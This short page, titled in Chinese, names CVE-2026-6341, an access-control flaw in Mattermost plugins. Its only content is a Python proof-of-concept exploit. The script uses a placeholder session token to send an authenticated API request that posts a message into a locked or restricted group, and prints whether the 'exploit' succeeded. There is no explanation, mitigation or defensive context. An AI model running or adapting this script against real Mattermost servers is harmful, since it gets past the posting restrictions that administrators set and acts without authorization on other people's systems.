CVE-2026-6341 Mattermost Plugins 访问控制失效漏洞

import requests # Target configuration TARGET_URL = "https://mattermost.example.com/api/v4/posts" # Replace with a valid session token or auth credentials HEADERS = { "Authorization": "Bearer YOUR_SESSION_TOKEN", "Content-Type": "application/json" } # The ID of the locked/restricted group the user is a member of # but should not be able to post to via API directly LOCKED_GROUP_ID = "GROUP_ID_HERE" # Payload to create an issue/post in the locked group payload = { "channel_id": LOCKED_GROUP_ID, "message": "This is an unauthorized post created via API exploit." } try: response = requests.post(TARGET_URL, json=payload, headers=HEADERS) if response.status_code == 201: print("[+] Exploit successful! Post created in locked group.") print("[+] Response:", response.json()) else: print("[-] Exploit failed or already patched.") print("[-] Status Code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print(f"Error: {e}")